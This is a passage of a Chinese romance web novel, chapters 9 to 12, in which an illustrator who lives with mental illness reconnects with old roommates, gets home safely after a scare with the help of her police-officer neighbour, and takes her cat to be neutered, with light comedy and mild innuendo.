“好久不见啦星若,你在宿舍群里也不怎么说话,也不知道你毕业后怎么样了。”夏熙热络地朝她走近,“我和溯琪正好约了一起喝下午茶呢,你现在有时间不,咱们叙叙旧呀。”
乔星若有些犹豫,夏熙已经勾上了她的手臂:“哎呀去嘛,我们都挺想你的。”
“……”
乔星若耳根子软,不知怎么的就跟着夏熙来到了一家咖啡店。
进店见到了许久未见的林溯琪。
林溯琪跟男朋友是大学恋爱的,毕业就领证了。
现在带着个两岁小朋友,扎着可爱的小揪揪,治愈能力不亚于乔咪咪。
乔星若被这个人类幼崽吸引住了目光,原本紧绷着表情柔和下来。
“星若?”林溯琪认出她来,有些惊喜,“好久不见啊,你越来越漂亮了,我差点没认出来。”
乔星若笑了笑:“好久不见,这是……你和李璆行的女儿吗?”
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“对呀。”林溯琪温柔贴着小孩,带着后者的手朝前面晃了晃,“宝贝,跟星若姐姐打个招呼叭~”
小孩直勾勾盯着乔星若,脸颊两边蔓上红晕,奶声奶气道:“姐姐好,我叫李芃,小名饭饭。”
说完便害羞钻进妈妈的风衣里。
引来三人的母爱泛滥,噗嗤笑出声。
夏熙拉着乔星若入座,问她要喝点什么。她微微思忖,点了一杯燕麦拿铁。
等咖啡期间,三人闲聊。
林溯琪:“星若,我记得你毕业后是跟邱宁一起合租了,还在同一家公司上班,现在怎么样了?”
“辞职了,房子也是重新找的,我跟她没有联系了。”乔星若笑了笑,仿佛在说别人的故事。
“这样。那你现在做什么工作啊?”
“板绘插画,稳定的工作还在找。”
“自由职业啊,那也挺好的,时间自由。”
“……”
三人都是艺术生,共同话题很多。她们聊了一些自己工作时遇到的事情,时间不知不觉过去了几个小时,咖啡也见了底。
乔星若虽没怎么参与话题,但也少了许多刚进来时的拘谨。
一时之间仿佛回到了大学那年,几个小姑娘深夜聚在一起八卦闲聊,有说不完的话。
某个话题结束后,夏熙忽然问起乔星若的情况,语气犹疑:“若若,你现在身体情况怎么样,有没有好转?”
乔星若想了一下:“算是有吧……稳定很多了。”
不得不说,感谢生活的拷打。
夏熙和林溯琪相视一眼,神情均变得复杂。
“其实……当年我们也是看你们关系那么好,又顾及到你身体情况,没敢跟你说。”
“我们当初亲耳听到邱宁男朋友在班里说了你生病的事情,还说是邱宁告诉他的。”
乔星若愣了一下,没想到真的是邱宁传出去的。
极强的背叛感涌上来,还带着无力的窝火。
如果在是大学那个极不稳定的状态得知真相,她可能会情绪很激动地跟邱宁闹翻,严重的话甚至无法进行学业而被迫休学吧……
夏熙有些不好意思地用食指抵着下巴:“所以毕业的时候我才劝你慎重点,考虑好再跟她合租,就是说辞委婉了点,你没听出来。”
乔星若记起来了,夏熙当时确实劝过她。
估计也是怕她觉得自己在挑拨离间,所以没有说邱宁什么不好,只是说熟人一起反而会有更多的矛盾,劝她再考虑考虑,别什么都听邱宁的。
可惜,她没听。
简直是友情版的恋爱脑。
夏熙和林溯琪察觉到她情绪低落,赶紧安慰她。
“其实也没什么的,反正跟那些人以后大概率也不会有联系了。而且咱班还是正常人占比多,你看我们就没有觉得你有什么不好。”
“事情已经发生了,也是没办法的事情,星若你要往前看啊。”
乔星若沉默片刻,眼眸弯成月牙形状,语气诚恳:“不管怎么说,还是谢谢你们。”
她没想到,曾经以为对她做过不好的事情的人,实际上在暗里这么照顾她的感受。
想及此,乔星若有些懊恼地垂下脑袋,两根食指纠缠着,一副愧疚知错的模样。
“对不起,我之前不应该对你们这么过分的,不该疏远你们……”
9. 幻听
“??”
旁边和对面的人二脸懵逼,听不懂乔星若在说什么。
饭饭歪着脑袋垫在手背上,试图听懂她们在聊什么。软软糯糯的声音响起:“漂酿姐姐在道歉,知错就改好孩纸!”
林溯琪揉了揉饭饭的脑袋。
夏熙一脸问号:“你怎么对我们过分了?”
乔星若舔了舔唇,小声说:“每次我叔叔给我寄他果园的水果,还有我妈妈给我寄她做的糕点……我都会分很多给邱宁,只分给你们一点。”
“……”夏熙和林溯琪对视一眼。
原来那叫一点吗,确定不是一袋吗?
一到季节就给她们投喂水果的小姐姐,原来是在疏远她们吗?
沉默几秒后,夏熙咳了一声:“确实有点过分哈,阿姨做的点心这么好吃,我每次都没回过味来就吃完了……”
“你想吃的话,我让我妈妈下次给你多寄点。”
“好呀嘿嘿。”
“……”
乔星若抿了抿唇,继续说:“还有一次下暴雨,因为我最先回到寝室,你们都让我帮忙收衣服……”
“我故意先把邱宁的先收进去,再收你们的,让你们的衣服多淋一会儿水。”
另外两人露出来同一个表情,哭笑不得。
那时候雨恁大,多淋一会儿少淋一会儿有什么区别。
属实是有点报复心理但不多。
而且没记错的话,那天乔星若为了帮她们收衣服,淋雨感冒了。
“……”林溯琪注意到一个问题,“那你自己的呢?”
乔星若:“我自己的……是最后收的。“
夏熙和林溯琪再次对视,忍俊不禁。
乔星若抬眼看她们,不明白她们的笑点在哪里。
林溯琪笑够了,擦了擦眼里的泪花,指着旁边的饭饭小朋友:“乔若若,你跟她坐一桌。”
“以前我们都觉得你好高冷,性格慢热小社恐,没发现你的思想这么清奇幼稚啊哈哈。”
乔星若:“……”
发现她很有可能是认真的,夏熙好奇:“那你为啥要这样嘞?”
“因为……”乔星若有点难以启齿,“因为我以为是你们把我的病传出去的……”
她们收起笑意。
林溯琪带着试探性地猜测了一句:“是邱宁跟你说的?”
“算是吧……“乔星若将之前跟邱宁的对话详细复述了一遍。
林溯琪面无表情,打开手机:“我现在就把这倒霉玩意儿拉黑了。”
夏熙:“你拉黑,那我也拉黑。”
“……”
夜色渐浓,乔星若看了眼时间,已经晚上八点多了。
她晚上不敢在外面停留太久,跟夏熙和林溯琪道别后,起身离开。
乔星若慢吞吞挪着步子,给许敏打电话。
打了两个,无人接听。
不敢在没有跟许敏通话的情况下打车,乔星若茫然地环顾了一下四周。
繁华的城市里,夜间灯光通明,人流不息。
走回去……应该没关系吧?
这里离繁花苑大概三公里,步行回去差不多要半小时。
乔星若将深色的冲锋衣拉到顶端,鼻尖抵着衣领,思绪放空地往家的方向走。
刚才跟大学舍友聊天的时候,她感觉自己的到状态明显有了变化。
就好像,她就该是那样的,那样正常。
可现在喧嚣散去,她的状态又回到了独处的时候,神情呆滞。
因为戒断反应,乔星若觉得此时的心里空荡荡的。
回小区的路线要经过一段人行道。这段路在这个时间段的人不多,宽敞静谧,偶尔能听到两声猫叫。
正因为到了这段人少的地方,乔星若的精神紧绷起来,低头快步走着。
一丝一毫的动静都会让她的警备加深。
所以,当不远不近的脚步声在身后持续了一小段时间时,乔星若的步伐不受控制地加快。
她不确定是不是被尾随了,也没有勇气回头看。
心跳声咚咚响着,几乎要将脚步声盖住。
几秒后,不属于她的脚步声变大了些,身后的人似乎拉近了与她的距离。
跑!
这是乔星若的下意识反应。
她应激般跑了起来,用尽全力往前逃。
身后的声音她已经无暇顾及了,脑海里只有一个念头:她能跑去哪?
跑回小区吗?
可是小区还有一半的距离,万一那人趁她体力不支追上来怎么办。
这些年吃了太多的药,又不经常运动,虚狗如她体力可能都比不过小学生。
思绪散乱着,忽然,脑子里冷不丁冒出一个地方——
海城分局。
就在这附近,是她在体力耗尽之前能最快到达的地方了。
而且,那里一定是安全的。
她没有犹豫,立即往分局的方向跑。
看到通着灯的公安分局,乔星若步伐渐停,胸口起伏,大口喘着气。
正好有穿着便衣准备下班的年轻警官出来,注意到她苍白的脸色,走过来询问:“同志,你是遇到什么事情了吗?”
“……有……有人、尾随我……”
乔星若勉强抑制住不稳的呼吸,惊恐地往身后瞥了一眼。
什么都没有。
她茫然扫视着四周,刚刚那个脚步声早已消失,仿佛只是她的幻觉。
怎么办?
警官也跟着她环顾周围:“你亲眼见到你说的那个尾随你的人了吗?”
乔星若缓缓摇头:“我没看到,但我听到脚步声了……”
“没看到人?确定是在跟着你吗?”
乔星若哑然。
呼吸平复下来后,她越回忆越感觉不确定,可能真的是自己的幻觉。
她以前经常幻听,今晚可能是太紧张了,所以又出现了那种情况。
“也有可能是我幻听了……”
年轻警官笑了笑:“你一个女生走独自夜路,害怕是正常的。这样吧,你住哪?我送你回去。”
有警察送安全很多,乔星若没有逞强,呐呐报出自己住的小区名。
“繁花苑……”警官哦了一声,看她的眼神亮了,“我想起来了,你是澹哥对门的那个邻居吧?”
“……嗯。”这么一说,乔星若看这位警官的模样确实有些眼熟。
“那你要不要等澹哥一起回去啊,他正在协助审查,估计也快完事儿了。”
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许明正说着,局里传来脚步声,两个人从里面出来。
许明回头打了个招呼:“梁队,澹哥。”
出来的两人看到乔星若,都有些意外。
梁队朝陈时澹偏了下头,带着些许兴味:“有人来接你下班了?”
陈时澹没理会这个玩笑,垂眸盯着乔星若:“你怎么在这?”
乔星若抿着唇,张了张口,不知道要怎么说。
像刚才那样说自己被尾随了?可她连人都没看到,自己也不确定是不是真的。
许明替她说了:“哦,她一个人走夜路,在这附近怀疑自己被人尾随了,所以跑到咱们这来了。”
乔星若胡乱点点头,把下巴重新缩回外套衣领里。
“走吧,一起回去。”陈时澹路过她身边,示意她跟上。
乔星若小声跟许明说了声“谢谢”。
“没事,快跟澹哥回去吧。”许明摆摆手,顺带提了一嘴,“那澹哥你路上可好好安慰你的邻居小姐姐啊,我刚看她那样也是受了惊吓的。”
陈时澹表情冷淡,周身的空气似乎都降了几个温度。
乔星若转身跟上他,想起昨晚的事情,反应过来他可能还没消气。
看着他的背影,她不禁抱着手臂瑟缩了一下。
这人身后好像长了眼睛:“怎么,坐警察的车你也怕?”
“……没。”乔星若老实走到他的车后门,伸手要拉开。
“什么时候司机的活也轮到警察做了?”扔下这句,陈时澹率先拉开主驾的门坐进去。
警察警察,知道你是警察了。
屡次被怼,乔星若抿着唇忍住脾气,挪到副驾门前拉开车门。
上车前忽的想起什么,回头瞅了眼分局旁边的台阶,发现之前她踩到的那片苔藓不知什么时候已经被清理干净了。
想问,但不敢。
她心情复杂地转回来,目光落在陈时澹的裤子褶皱密集的地方。
坐着好像更明显了。
有种被打脸的感觉。
不是说好的知道人家是警察吗,脑子里的废料能不能丢丢……
陈时澹见她一直杵着,迟迟不上来,逐渐没了耐心:“不想坐车就自己想办法回去。”
乔星若眨了下眼睛,回过神后坐进车里,系好安全带。
她的脸色还有些苍白,想起刚才的事情,指尖还有些心有余悸的发颤。
陈时澹注意到了她的不安,便主动开口转移她的注意力:“这个点,今天不去画室上课了?”
乔星若收回思绪,脑子转得缓慢。
几秒后像是反应过来了,小声回答:“……我不去了,我不是专门做教培的,就是……正好没事做,去体验一下。”
“哦,你大学什么专业的?”
“动画。”乔星若不是很想让他觉得自己是个失业人员,回答的时候神情有些窘。
趁着等红灯的间隙,她低头从包里拿出手机。
包里的东西有点多,掏手机的时候不小心把里面装着药的塑料袋也带了出来。
乔星若的动作更慌了,颤颤巍巍地把东西塞回去。
陈时澹眼神好,余光瞥到了她袋子里的其中一个药盒。
名字没了解过,但那个药盒的包装……
10. 做梦
陈时澹想起上个月的一个案子,受害者是个中度抑郁的高中生。
当时他跟梁队一起去受害者家里访谈。
梁队在客厅跟家属了解情况,陈时澹则在那学生的房间里引导她回忆嫌疑人的关键特征,绘制模拟画像。
受害者原本就患有心理疾病,遇害之后情绪极不稳定。
在聊天中,女生对他放下了一点戒备,面色出现倦容。
陈时澹不经意问她,是觉得累了想休息了吗。
女生点头,小声说是因为刚吃了抗抑郁药物,会犯困。还给他指了一下书桌上的药盒。
那些药盒中的其中一个,跟陈时澹现在不小心在乔星若这里看清楚的那个,包装一模一样。
陈时澹喉结动了一下,没表现出来什么。
脑海里不禁联想到了平时极度警惕的乔星若,小发雷霆怂兮兮的乔星若。
还有,刚才以为被尾随而极其恐慌的乔星若。
她和那个受害者女生,某种程度上,神态中似乎透着某种相似的情感。
繁花苑离海城分局很近,当初也是这个原因,陈时澹工作之后没有再回家住,而是跟刘夕梅要了一套这边小区的空房子,大半年都不着一次家。
两人一路沉默,几分钟后回到了小区。
地下停车场光线晦暗,陈时澹看不清副驾上的人的表情,但借着她手机屏幕的光看清楚了她微微颤抖的指尖。
“乔星若。”
他眸子微动,声音沙哑。
“以后你晚上出门回来害怕的话,可以给我打电话。”
“我有空就去接你,没空的话,保持电话联系。”
“……”
两人一起上楼,进门前陈时澹还主动说了“晚安,早点休息”。
依然没什么表情,但语气跟平时相比,似乎少了点冰冷的锐气。
乔星若摸不着头脑,也没多想便进了屋。
洗完澡后,她一边擦着头发一边回房间,将毛巾挂起来,披着半湿及腰的头发坐到书桌前。
她拿起桌上的手机,看到了许敏的三次未接来电。正好,对方现在又打过来了第四次。
乔星若想到今晚发生的事情,有些委屈。
她抿唇怔了一会儿,才滑到接听键。
“……喂?”
许敏立马回应:“喂?若若啊,你刚才给我打电话了是吗?”
乔星若摩挲着居家服的衣摆,闷闷“嗯”了一声。
“对不起啊若若,我刚才出去跟咱们小区的几位阿姨聊了会儿天,手机落在家里了,所以没接到你的电话。”
“是我太粗心了,年纪大了记性不好。妈妈跟你道歉,以后肯定不会了。”
“你现在还在外面吗,这大晚上的,是不是吓到了?”
许敏的语气里带着掩饰不住的忐忑和焦虑,乔星若听着不太好受。
生病的这些年,生活受到影响的又岂止她一个人。
许敏跟她相处时小心翼翼的,每一句话都要顾及她的情绪。这样是好意,可也在无时无刻提醒她,她不是正常人。
自己好像一个沉重的包袱,时时刻刻需要被提着。
即便是她的家人,也是有自己的事情要做的,也有自己的社交。可她却这么麻烦,让人放心不下。
半天听不到乔星若的回答,许敏更着急了:“若若?你在听吗,若若?”
乔星若找回了自己的声音,呐呐道:“……在的。妈妈,我没事,路上遇到一个……朋友,他送我回来了。”
“那就好,你一直不接电话,接了也不说话,快吓死妈妈了……”
“对不起。”乔星若下意识道歉。
“……”
“没事就好,没事就好。你们老板也真的是,老让员工晚上加班。”
许敏又念叨了一会儿,乔星若打开平板的绘画软件开始打型,心不在焉听着。
听到许敏问她有没有交什么新朋友时,她有些没反应过来,“啊”了一声。
隐约听到“新朋友”这个词眼,不知道为什么,莫名想到了陈时澹。
虽然她不太确定,他们算不算朋友。
许敏:“就是……好像也没听你提起过什么朋友,那个宁宁,也好久没听你提过了。”
听到邱宁的名字,乔星若眸光黯了下来,回答的有些含糊:“我搬家啦,不跟邱宁一起了……她有男朋友,大家都挺不方便的。”
“然后,跟她也没什么联系了。”
“这样啊,那还跟人合租吗?新房子一梯几户啊?”
“我自己住,一梯两户。”
“那隔壁是男生还是女生?”
乔星若顿了顿,诚实回答:“是男生。”
“男生啊,”果然,许敏听到是异性有些不放心了,“那他是做什么工作的啊?”
“他是警察,也是房东的儿子。”
“警察啊,那还行。”许敏的语气放松下来,但很快又转回了试探,“若若啊,你自己一个人在那边也没什么朋友,挺孤单的吧,有没有想过,找个男朋友?”
乔星若愣了一下,没想到许敏会这么问。
自己今年二十四岁了,被家里催一下,好像也……挺合理的?
她不知道自己该说什么。
许敏怕她多想,解释道:“妈妈也不是着急催你,就是想问问你有没有这方面的想法呀,有没有遇到喜欢的?”
“没有。”乔星若舔了下唇,“而且,我这种情况,好像也不太适合谈恋爱……”
她只会害了别人,让别人变得和她一样不开心。
这样很不公平。
“没有就算了,妈妈就随便问问,不用放心上,等咱们……情绪好了再考虑也不迟。”
“嗯。”
“……”
察觉到时间不早了,许敏让乔星若早点休息,便挂了电话。
乔星若垂下拿手机的手,呆呆看着平板上的草图。
一对情侣依偎在一起分享一根甜筒,氛围甜蜜。
她没喜欢过人。
大学期间,有过几个男生跟她表白,其中一个还追了她一个学期。但她都拒绝了。
那时候的她像只刺猬,她的世界很小,只容得下自己。
乔星若觉得,谈恋爱这种事情是一种另类的捆绑,需要给对方提供情绪价值,可她连自己的情绪都没有办法调理好。
她并非不懂怎么爱人,可她没有能量去爱一个人。
因为如此,乔星若甚至对异性的讨好只有
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逃避和抗拒。
现在的想法没有几年前那么极端了,但也没有考虑过这件事情。
毕竟,作为重度颜控的她,丑的看不上,帅的配不上。
工作时遇到的都是浑身烟味、班味儿重的,更没有欲望了。
现在宅家,就算有个会养猫、一米八有钱有颜、器大活好、眼里有活爱下厨的薄肌男闯进她的家里,她也只会幺幺零。
嗯……或者把隔壁的警察叔叔叫来。
想到陈时澹,乔星若的眼睛弯了一下。
情绪忽然变得轻松了些,莫名其妙的。
她制止了自己的胡思乱想,专心画画。
头发自然干后,乔星若出房间接水,按着药盒上标注的服用数量,一样一样地吞咽入肚。
动作熟练得像是吞过千万次。
也不能说像,就是吞过千万次。
药物副作用下,困意很快涌上来。她抱着大鹅玩偶,不知不觉睡着了。
可能是因为睡前想到了陈时澹,乔星若做了个可耻的梦。
“你不是喜欢偷看么?”
陈时澹从身后抓住她的手,往他身上带。
乔星若:“???”
这、不、好、吧……?
说不上是脑子宕机了还是自己私欲作祟,乔星若竟也异常诡异地没挣扎,任由那只手带着她往一个地方走。
可抓了几下,什么都感觉都没有。
跟之前碰到的一点都不像,好像就只是空气。
嗯?
不对劲,非常不对劲。
也没有那种淡淡好闻的橙子香味将自己包裹。
她想回头看清楚身后的人,却迷迷糊糊睁开了眼睛。
嗯?!
意识到是梦后,乔星若一下子清醒过来。
她从床上坐了起来,差点把半夜跑酷完窝在她脸上睡觉的乔咪咪顶飞。
“喵?”
“乔咪咪!”乔星若对着乔咪咪小发雷霆,“都说了不要在我头上睡觉,热死我了。”
乔咪咪歪了下脑袋,似乎不太理解。
冬天了还热。
乔星若被它盯得有些心虚,赶紧拍拍燥热未散的脸,蹦下床找拖鞋。
乔咪咪头回见自家仆人起床这么有活力,疑似返祖。
看着镜子里脸颊两边微红的脸,乔星若有些不敢面对自己了,全程低着头洗漱。
一想到那个梦,她就觉得自己该死。
第一次做这种类型的梦啊,属实是开出隐藏款了。
而且……对象还是才认识几个月的邻居,多冒昧啊!
陈时澹别是个预言家吧,说她是女流氓还真没冤枉她……
乔星若往自己脸上泼了几把冷水让自己清醒,狠狠拍了两下脸颊才出卫生间。
她来到客厅,隐隐闻到一个尿骚味。
察觉到什么,她拿起掉在地上的抱枕,凑近闻了一下,果然。
乔咪咪又发.情了。
忍不了了,她现在对发.情二字过敏。
绝育的事情不能再拖了。
反正白天也没什么事,乔星若当即用猫条哄着乔咪咪进猫包,换了件衣服带猫出门。
没想到刚出门就遇见了今天休假的陈时澹。
11. 人体
陈时澹应该是刚出门晨练了,此时汗津津的,荷尔蒙气味扑面而来。
男人的气息难以忽视,乔星若又想起了那个梦,觉得无颜面对正主,低着头假装没看到。
陈时澹瞥了眼她胸前的猫包,随口一问:“你和你的猫要去哪?”
“……宠物医院。”
“猫怎么了?”
乔星若顿了一下,诚实回答:“发.情……想带它去做绝育。”
陈时澹点头,想让她等一下自己回去拿车钥匙送她。却发现她的脸浮着不正常的红,眼神躲闪。
结合她刚才说话有气无力的,他皱了下眉:“你怎么了?”
乔星若满脑子胡思乱想,也没太听清他说的什么,听得掐头去尾的“……怎么……”。
以为他是没听清自己的回答,所以又重复了一遍。
“就,发.情啊。”
“你没听说过吗?”
她的眼神都清澈了许多。
猫正常的生理现象都不知道吗,一点常识都没有。
陈时澹:“……真求你了。”多余关心这人。
“?”乔星若一脸问号,“求也是发.情。”
“……”
僵持片刻,陈时澹眼神复杂地收回视线,抬手随意擦了把鬓角间的汗。
“等我换个衣服,我开车送你过去。”
乔星若愣了一下,想说不用麻烦了。
陈时澹又补充了一句:“别误会,我刚好有事要出去一趟。”
原本想说的话哽在咽喉,转化成一个无话可说的“哦”。
陈时澹换衣服很快,几分钟便出来了。
他身上的运动服换成了宽松休闲的白底衫,跟工作时的风格不太一样。
更有生活气息一些,气质处于少年与成男之间。
乔星若作为一个画手,平时对人体结构观察的很细致。
陈时澹这种堪比漫画标准的人体身材,说不吸引她是不可能的。
没有很馋的意思,就是单纯的想学习,观摩一下。
视线下移到他的灰色裤子上。
咳,网友诚不欺人。
“如果你再咽口水的话,我说话可能就有点难听了。”陈时澹已经走到了她身边,面无表情抬起手,隔着她头上的鸭舌帽按住其后脑勺往电梯方向转。
“我有没有跟你说过,我在扫黄大队有些人脉。”
“你要还是这样……别怪我不念及同门情谊,乔、师、妹。”
“……”乔星若措不及防回过神,闭了闭眼,默默找补,“你误会了,其实我是在学习……师哥你也是学美术的,你懂吧,咱们这种读书时期速写人体画多了的人其实对人体生理结构早就免疫了……”
“所以,”乔星若一脸认真保证,“我绝对不是对你有想法。”
“闭嘴。”陈时澹脸上跟灰锅一样沉,低声冷斥了一句。
职业气势加成,乔星若被吓得一抖,跟个鹌鹑一样老实缩在角落。
有了昨天的经验,乔星若自觉坐到了副驾,给陈时澹报了个宠物医院的地址。
她已经在线上预约好了绝育手术。
陈时澹说好的出门有事,结果也没见他离开。
乔星若在手术室外面等乔咪咪手术时,他就坐在旁边玩手机。
他跟有糖瘾似的,从外套口袋里掏出来两根橙子味的棒棒糖,拆了一根放进嘴里,另一根扔给她。
乔星若有些意外,一般成年人兜里不都揣烟吗,他揣的好像一直都是糖。
几年前遇到陈时澹的时候,他也是从兜里翻出了颗糖给她,过了这么些年好像都没什么变化。
她莫名想到了高中在画室的时候,抽烟是常见的事。
男生女生都有人抽,尤其是男生,一到下课就乌泱泱的聚在一楼门口,那个二手烟味飘老远,能随机呛死一位路人。
因为这个事情,画室被周围的居民投诉了好几回,连着也不待见他们这些不抽烟的无辜学生。
乔星若也很讨厌烟味,那会儿怨气本来就重,每次下课路过画室门口都很想创死那些人。
陈时澹这么高冷的人,如果叼着根烟的话,好像也蛮有那种阴郁戾气感的,读书那会儿应该有很多女生喜欢。
但棒棒糖似乎也不违和,看着更随和柔软一些。
所以她对这位师哥的印象就是,真实性格并没有表面那么冷淡,还蛮有好感的。
“那个,谢谢啊。”乔星若手心垫在膝盖上,坐姿端端正正的。
“嗯。”陈时澹依然垂眸看着手机,没看她。
“……”
有点尴尬。
乔星若拿出手机,想看看绿泡泡有没有未读消息。
还真有,是米谰发来的语音条。她想转成文字,却不小心手滑点开了。
“若儿啊,你画的这带颜色的图性缩力拉满了,像小学生打架——”
乔星若反应过来立即掐断,却为时已晚。
旁边的人划手机的指尖顿住。
音量还不小,周围好几个人转头看了过来。拿着药物要进手术室的护士在她面前路过,踉跄了一下。
天、杀、的。
人怎么能社死成这样。
乔星若拉低帽檐,低着头从包里拿了一个口罩出来戴上,启动装死模式。
她半死不活阖着眼,体会不到人生还有什么盼头了。
仅仅面基过一面的亲友居然能把她害成这样。
几秒后,旁边传来一个声音,带着似有似无的笑意:“你可真让人害怕啊。”
“害怕哪天真的在局里见到你,师、妹。”
乔星若:“……”勿q,活人已微死。
从前几个月再次见到乔星若起,陈时澹就在这方面频频吃瘪,这会儿终于有机会报复回去,心情大好。
一直冷着的脸终于舒展了些,微微挑起一抹微笑。
谁知天道好轮回。
正巧刘夕梅这时打了个电话过来。陈时澹刚按下接听键,听着周围吵吵嚷嚷的,便想起身出去接。
还没等站起来,家母那能劈山的嗓子就传了出来:“死孩子,安排的相亲你又不去!让人家小苏等了多久你知道吗!别给我装忙,我知道你今天休假!”
陈时澹:“……”
他匆匆说了句“我回头再打过去”,挂断了电话。
周围寂静下来,目光都汇聚在这两人身上,似乎在说“这对儿怎么这么有节目”。
乔星若举拳到鼻尖下面,清咳了一声:“师哥你要是有事就先走吧,我们等会儿自己回去就好。”
陈时澹没回答,而是换了个
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话题:“中午了,你不吃饭?”
“我等咪咪……”
“你主刀?”陈时澹站起来,弯腰伸手拉住她的外套袖口,压低声说,“估计还有半小时,你还想待下去给人免费观赏?”
好有道理。
乔星若跟着他起身往外走。
快走到门口了,陈时澹仍然没松开手,似乎没感觉到他们这样有什么不妥。
那只手掌温热干燥,隔着袖子也难以忽视其存在感。乔星若垂眸盯着,觉得喉咙有些干。
这算什么,算间接牵手吗?
明明不是她牵着陈时澹,可她却觉得心里有些发虚。预感到他有回头的迹象,她才呐呐提醒:“师哥……”
陈时澹疑惑回头,意识到她的意思后,瞬间松开。
“抱歉。”他的耳根微微染上绯红,有些不自在地揉了揉后脖颈。
乔星若没觉得有什么,跟在他身后肆无忌惮打量他。
看不出来,这嘴毒高冷师哥还挺纯情的嘛。
宠物医院附近就是商业楼,他们进去乘滑动电梯到四楼,找了个湘菜馆解决午饭。
陈时澹还因为刚才的糗事臭着脸,跟别人欠他二五八万一样。乔星若则是戴着帽子和口罩,把自己遮得严严实实。
不像是来找吃的,更像来找事的。
在门口招揽顾客的店员看到他们走过来都愣了一下,差点忘词了。
店员带他们到空位坐下后,两人扫码在线上随便点了一些。
乔星若抿了一口温水,安慰他也是在安慰自己:“人生如戏,不过如此。”
陈时澹抬眼,扯了扯唇:“那你可比我坚强多了。”
听着像反讽,潜台词估计是“那你可比我不要脸多了”。
乔星若同样笑了笑,没再说话。
“……”
旁边传来小皮鞋“哒哒哒”的声音,一个小女孩出现在两人之间。
小女孩的手肘撑在桌上,托着腮看陈时澹,声音甜甜糯糯的:“哥哥!”
乔星若呛了一下,目光落在女孩恬静稚嫩的小脸上。打量了两秒,眉眼间确实与陈时澹有两三分相像。
陈时澹给她递了张纸巾,转头看这小女孩:“小云,你怎么在这?”
陈时云指了一下离他们隔了几桌过道的位置。
刘夕梅正支着下巴看他们这边,见他们看过来,微笑着招招手。
陈时澹:“……”
乔星若:“……”
几分钟后,四人坐在一起面面相觑。
刘夕梅嗔怪地看了陈时澹一眼:“臭小子还害羞,这有什么不好意思的。有对象了早说啊,说了你妈我还给你瞎安排什么。”
陈时云晃着腿,对乔星若露出一个天真无邪的笑容:“嫂嫂!”
“!”乔星若赶紧摆摆手:我没有我不是!
陈时澹无语:“别闹了,她是我邻居,你的租客。”
“刘阿姨,是我,七月份搬来的。”乔星若摘下帽子,好让刘夕梅看清楚。
刘夕梅认真打量了两秒,恍然大悟地“哦”了一声:“小若啊,我想起来了,国庆那会儿咱们还见过呢!”
“是啊哈哈。”
不是儿子对象,刘夕梅有些失望。但她很快又希望复燃,八卦问:“那小若你有对象没?”
12. 回味
乔星若脑子宕了一下机:“……啊?”
话题怎么就跳到这了?
而且这问题还很不对劲。
刘阿姨不会……要撮合她和陈时澹吧?
“有吗有吗?”
对面的人目光热切,还在等着她的答复。
陈时澹以为她社恐不好意思回答,便替她解围:“妈你别问了,人家有对象……”
他开口的同时,乔星若脱口而出一个“没”,瞬间滞住。
三人朝她看过来。
陈时澹微微偏着头,看她的眼神多了些审视。
乔星若记性不好,但触到他的目光的瞬间,反应过来自己在他这里瞎编过一个“男朋友”,顿时话锋一转:“啊,我是说……没错!哈哈,我确实有对象了。”
她心理素质太差,撒谎时也底气不足的,心里发虚。
“这样啊……”刘夕梅觉得有些惋惜,到陈时澹这里又转变得嫌弃,“破孩子你气死我得了,好不容易等到你休假给你安排个相亲又不去,下次又不知道什么时候了!”
“嗯嗯,下次一定去。”陈时澹随便应付了一句。
“哪次你不是这么说?上次好不容易去了又会不好好说话,那姑娘的妈妈跟我说是你没看上人家!”
“四舍五入都三十了,还不知道着急,等真三十了我肯定不劝你了,看哪个瞎了眼的能看上你!”
“嗯嗯嗯。”陈时澹继续敷衍点头。
乔星若作为局外人,被这催婚架势惊得目瞪口呆。
她连呼吸都放轻了,埋头闷吃。
刘夕梅见陈时澹一直看着手机,以为他没听,有些生气道:“怎么?吃饭都要守着那个手机,等你们局里给你派临时任务呢?”
“没,您在手机上跟我说说得了,别吓着小云和你租客。”陈时澹无奈收起手机。
他确实没怎么听刘夕梅训话。
他还在想刚才乔星若那个拙劣的谎,有些想笑。
忽悠碰上专业的,她那表情里全是戏。
之前听信了她的话,是因为被她的脑回路无语到了。现在智商在线,就静静看着她演。
陈时澹薄唇微抿,不动声色地勾起了点弧度。
这师妹好像也不是很烦人。
如坐针毡吃完这顿饭,乔星若觉得脑子里响起了社交能量耗尽预警。
跟刘夕梅和陈时云告别后,她默默重新戴上了帽子和口罩。
“怎么感觉你吃完东西后气色更不好了。”陈时澹锐利的目光往她这边瞥了眼,“吃错东西了不舒服?”
乔星若忍着隐约的反胃感,缓缓摇头:“……没,我还好。”
回到宠物医院,乔咪咪已经醒了。戴着伊丽莎白圈,眼睛湿漉漉的,有些呆滞。
不知是不是心理作用,乔星若总感觉它看她和陈时澹的眼神有些幽怨。
她心虚上前,想拉开包摸摸它。可刚拉开一条缝隙,离她的手最近的爪子就腾地抓过来。
乔咪咪一向很乖,从来不会挠她。
所以这次她也是对它没什么警惕,却忘了现在自己某种程度上算是夺取它幸福的仇人。
乔星若瞳孔地震,下意识往回缩,可动作不及猫快。
还没反应过来,她的手就被旁边的人抓住扯了过去,连带着她整个人往后退了小半步,熟悉的橙子气息袭近。
乔星若轻眨了眨眼:“……谢谢。”
好险,这力度被挠一下得疼死,她最怕疼了。
逆子啊。
但出于母爱滤镜,只花了一秒就原谅了它。
陈时澹皱了下眉,见她没事后才松开手。
“还需要做什么吗?”
“不用了,可以回去了。”乔星若把刚才拉开的那个缝隙重新拉上,打了个哈欠。
真不明白自己今天怎么会起这么早。
哦,好像也不是不知道。
她捂嘴的动作顿了顿,往陈时澹那边瞄了眼。
陈时澹注意到她的目光,以为她在暗示让他帮忙拿猫包,便动作自然地拎了起来。
“走吧,回家。”
眼里有活,可以。
乔星若确实不想背猫包了。乔咪咪这坨猫有十几斤重,背在后面她不放心,背在前面压的她难受,喘气都累。
好吧,对师哥更有好感了。
乔星若弯了弯眼眸,跟上前面的一人一猫。
密闭的车空间将外界的风声隔绝,温暖静谧,只剩下悠扬的纯音乐声音。
陈时澹的车里还沾了点碳粉的味道,某一瞬间,乔星若仿佛回到了以前带耳机画画的日子,氛围困倦不已。
不知不觉间,她在副驾驶座阖眼,进入浅眠。
车子在小区地下室停下时,陈时澹转头,却发现乔星若不知什么时候睡着了。
正想叫醒她时,看清了她眼底下的乌青,莫名没有开口。
呼吸也下意识放轻了些。
出于职业习惯,陈时澹的注意力落到哪个人身上时,潜意识就开始对其进行分析了。
现在也是,他不动声色打量着旁边的人。
